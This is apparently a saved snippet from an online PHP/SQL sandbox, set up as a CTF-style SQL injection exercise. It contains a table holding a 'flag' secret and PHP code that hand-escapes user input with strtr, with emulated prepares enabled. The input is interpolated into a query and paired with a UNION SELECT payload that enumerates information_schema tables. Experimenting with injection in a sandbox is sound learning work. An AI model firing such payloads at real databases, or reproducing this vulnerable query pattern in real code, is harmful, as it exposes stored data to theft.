Hi! Could we please enable some services and cookies to improve your experience and our website?

PHPize Online / SQLize Online  /  SQLtest Online

A A A
Login    Share code      Blog   FAQ

Online Sandbox for SQL and PHP: Write, Run, Test, and Share SQL Queries and PHP Code

Copy Format Clear
CREATE TABLE fruit ( id INT AUTO_INCREMENT PRIMARY KEY, name VARCHAR(255), sku VARCHAR(255) ); INSERT INTO fruit (name, sku) VALUES ('Apple', 'a123'), ('Banana', 'b456'), ('Orange', 'o789'); CREATE TABLE secret ( id INT AUTO_INCREMENT PRIMARY KEY, secret_value VARCHAR(255) ); INSERT INTO secret (secret_value) VALUES ('flag{this_is_secret}'), ('internal_use_only');

Stuck with a problem? Got Error? Ask AI support!

Copy Clear
Copy Format Clear
<?php $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, true); $_GET['sku'] = "' OR 1=1 UNION SELECT 1, table_name, 3 FROM information_schema.tables; -- -"; $_GET['name'] = "Apple"; $sku = strtr($_GET['sku'], ["'" => "\\'", '\\' => '\\\\']); $name = $_GET['name']; $query= "SELECT * FROM fruit WHERE sku LIKE '%$sku%' AND name = ?"; $stmt = $pdo->prepare("SELECT * FROM fruit WHERE sku LIKE '%$sku%' AND name = ?"); $stmt->execute([$name]); $data = $stmt->fetchAll(PDO::FETCH_ASSOC); foreach ($data as $v) { echo join(' | ', $v) . "<br>"; } echo ($sku); echo ("******"); echo ($name); echo ("******"); echo ($query); ?>
Copy Clear